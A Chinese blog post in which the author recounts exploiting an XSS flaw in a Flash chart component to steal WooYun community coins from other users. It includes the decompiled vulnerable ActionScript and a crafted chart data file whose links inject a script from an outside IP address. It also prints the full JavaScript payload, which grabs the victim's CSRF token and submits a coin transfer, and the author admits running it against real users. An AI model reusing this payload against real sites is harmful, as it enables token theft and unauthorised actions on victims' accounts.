閒扯下午引爆烏雲社群“盜竊”烏雲幣事件
起因
請各位看官看這裡:http://zone.wooyun.org/content/4997
斗膽分析下漏洞細節,在 http://www.showmycode.com/ 上面反編譯該 flash 程式碼。
搜尋,配置檔案是透過 data 引數傳入進去的,搜尋 _root.data,找到如下程式碼:
#!as3
var lv = new LoadVars();
lv.onLoad = LoadVarsOnLoad;
lv.make_chart = make_chart;
lv.make_pie = make_pie;
if (_root.data == undefined) {
if (_root.variables == undefined) {
_root.data = "C:\\Users\\John\\Documents\\flash\\svn\\data-files\\data-47.txt";
lv.load(_root.data);
} else {
_root.LoadVarsOnLoad = LoadVarsOnLoad;
_root.LoadVarsOnLoad(true);
}
} else {
lv.load(_root.data);
}
透過 LoadVars 載入的,LoadVars 載入的資料是以 & 符號分割的,載入完成呼叫 LoadVarsOnLoad 函式。跟進去看程式碼
#!as3
function LoadVarsOnLoad(success) {
if (!success) {
_root.loading.done();
_root.oops(_root.data);
return(undefined);
}
if (_root.oops != undefined) {
removeMovieClip("oops");
}
for (i in _root) {
if (typeof(_root[i]) == "movieclip") {
removeMovieClip(_root[i]);
}
delete i;
}
_root.css = new Css("margin-top: 30;margin-right: 40;");
NumberFormat.getInstance(this);
NumberFormat.getInstanceY2(this);
_root._background = new Background(this);
if (this.pie != undefined) {
this.make_pie();
} else {
this.make_chart();
}
if (this.tool_tip != undefined) {
_root.tool_tip_wrapper = this.tool_tip.replace("#comma#", ",");
}
_root.loading.done();
_root.move();
}
看下面,如果外部資料中有 pie ,就呼叫 this.make_pie()。
#!as3
if (this.pie != undefined) {
this.make_pie();
}
搜尋 make_pie 這個函式看程式碼,有如下,呼叫了 new PieStyle(this, "pie");
#!as3
function make_pie() {
_root._pie = new PieStyle(this, "pie");
_root._title = new Title(this);
}
繼續跟進去,在這個類中的初始化函式最開始有 links = lv.links.split(","); ,lv.links 從外部傳入透過 split 後放入 links ,最後呼叫了 set_values(_local6),繼續看 set_values 函式,有如下程式碼:
#!as3
function set_values(v) {
super.set_values(v);
pie_mcs = new Array(values.length);
var _local4 = 0;
while (_local4 < values.length) {
var _local5 = _root.createEmptyMovieClip((name + "_") + _local4, _root.getNextHighestDepth());
_local5.onRollOver = function () {
ChartUtil.FadeIn(this, true);
};
_local5.onRollOut = function () {
ChartUtil.FadeOut(this);
};
if (links.length > _local4) {
_local5._ofc_link = links[_local4];
_local5.onRelease = function () {
trace(this._ofc_link);
getURL (this._ofc_link);
};
}
var _local6 = {x_label:labels[_local4], value:values[_local4], key:"??"};
_local5.tooltip = _local6;
pie_mcs[_local4] = _local5;
_local4++;
}
valPos();
}
這個函式是關鍵,遍歷 links,然後放入 getURL 中,因為 getURL 這裡是可以執行 js 程式碼的。
利用
既然可以 xss,那就可以繞過 token 機制,對 wooyun 的業務進行操作了,先來看下如何構造遠端資料。看如下程式碼:
&title=騰訊高危漏洞一覽表(點選類別可以檢視詳情),{font-size:18px; color: #d01f3c}&
&x_axis_steps=1&
&y_ticks=50,50&
&line=2,#87421F&
&y_min=0&
&y_max=20&
&pie=60,#E4F0DB,{display:none;},1,,1&
&values=50,50&
&pie_labels=遠端命令執行,騰訊客戶端溢位&
&colours=#d01f3c,#356aa0&
&links=javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);,javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);&
&tool_tip=類別%3A+%23x_label%23%3Cbr%3E比例%3A+%23val%23%25&
起了個很響亮的標題明“騰訊高危漏洞一覽表(點選類別可以檢視詳情)”,讓看到的很很有慾望點選中間的圓圈圈有木有,連結寫成
javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);
載入我們的 js 檔案。
js 檔案的程式碼如下:
#!javascript
/*
* ajax
*/
ajax = function(url, params, callback) {
(params instanceof Function) && (callback = params, params = void(0));
var XHR = (window.XDomainRequest) || window.XMLHttpRequest || (function() {
return new ActiveXObject('MSXML2.XMLHTTP')
});
var xhr = new XHR();
xhr.open(params ? 'post' : 'get', url);
xhr.withCredentials = true;
try {
params && xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded');
} catch (e) {}
callback && (xhr.onreadystatechange = function() {
(this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(
this, arguments);
});
xhr.send(params);
};
ajax("http://www.wooyun.org/user.php?action=update", function(){
var token = this.responseText.match(/token" value=\"(.+?)\"/)[1]
ajax("http://www.wooyun.org/user.php?action=coin&do=action_submit", "token=" + token + "&to_whitehat=xsser&to_coin=
1");
})
借用 sogili xss.js 中的 ajax 程式碼,先獲取當前使用者的 token,然後再進行轉賬操作。
效果
來找個實戰的地方,發到 wooyun,見這裡:http://zone.wooyun.org/content/5548
後續
其實我沒想到這麼多人中招的,本來抱著娛樂的目的玩玩的,看來好多人情緒很高漲,在這裡先對各位抱個歉。
相關文章
- 從烏雲看運維安全那點事兒2020-08-19運維
- 烏力波2024-04-24
- 【十年測試】烏雲安全白帽子聊聊介面測試2018-11-14
- 比特幣在烏干達首都受歡迎2018-03-27比特幣
- 傳烏雲漏洞平臺被連窩端 官方連夜回應2016-07-20
- 世界網際網路大會今日烏鎮開幕 各路大佬雲集2015-12-16
- 莫比烏斯反演2024-10-27
- 烏茲別克計劃將比特幣合法化2018-02-26比特幣
- “烏托邦”地“反烏托邦”:遊戲、賽博朋克以及其他2019-05-13遊戲
- 莫比烏斯函式2024-05-30函式
- 數商雲:烏卡時代下,企業供應鏈管理體系的應對策略2022-05-25
- 閒扯封面的視覺效果2012-10-29視覺
- Hackerrank GCD Product(莫比烏斯反演)2019-01-04GC
- 烏班圖-Ubuntu 相關資料2011-04-15Ubuntu
- Binance在烏干達開設首個加密貨幣兌換法定貨幣交易所2018-07-02NaN加密
- 6.25億美元,再次重新整理加密貨幣盜竊案紀錄2022-03-30加密
- 莫比烏斯反演學習筆記2020-10-03筆記
- 比較典的莫比烏斯反演2024-06-13
- 中國網際網路被Struts2漏洞血洗 烏雲收超100家網站漏洞報告2016-04-27網站
- MMORPG網路遊戲批判——關於遊戲幣以及遊戲烏托邦的歷史考察2020-09-28遊戲
- 【夢雲社群】社群最佳解決方案2019-05-11
- 6億美元加密貨幣盜竊案!黑客竟承諾歸還全部資產?2021-08-12加密黑客
- 沙烏地阿拉伯遊戲市場觀察2021-02-03遊戲
- 同步入駐雲棲社群2018-10-22
- 烏茲別克總統簽署法令為加密貨幣合法化奠定了基礎2018-07-08加密
- 全球加密貨幣盜竊量激增,今年前 9 個月達 44 億美元2019-11-30加密
- 【夢雲社群】微社群與PC社群最佳解決方案2019-05-11
- 狄利克雷卷積 & 莫比烏斯反演2020-08-06卷積
- HDU 4746 Mophues (莫比烏斯反演應用)2015-08-21
- ZOJ 3868 GCD Expectation (容斥+莫比烏斯反演)2015-08-23GC
- HDU 1695 GCD (容斥 + 莫比烏斯反演)2015-08-16GC
- POJ 3904 Sky Code (容斥+莫比烏斯反演)2015-08-16
- 數雲榮登烏鎮網際網路大會2016中國大資料創新企業50強2018-05-08大資料
- 盜號木馬瘋狂竊取遊戲幣,竟還利用搜尋引擎打廣告?!2019-02-21遊戲
- OmiseGO與Vitalik Buterin共同向烏干達難民慈善組織捐款100萬美元加密貨幣2018-03-30Go加密
- 遊戲與烏托邦:《蚱蜢》中的遊戲哲學(四)2019-07-17遊戲
- 烏托邦漂流者的Java學習筆記122021-09-09Java筆記
- [51nod1244]莫比烏斯函式之和2016-07-06函式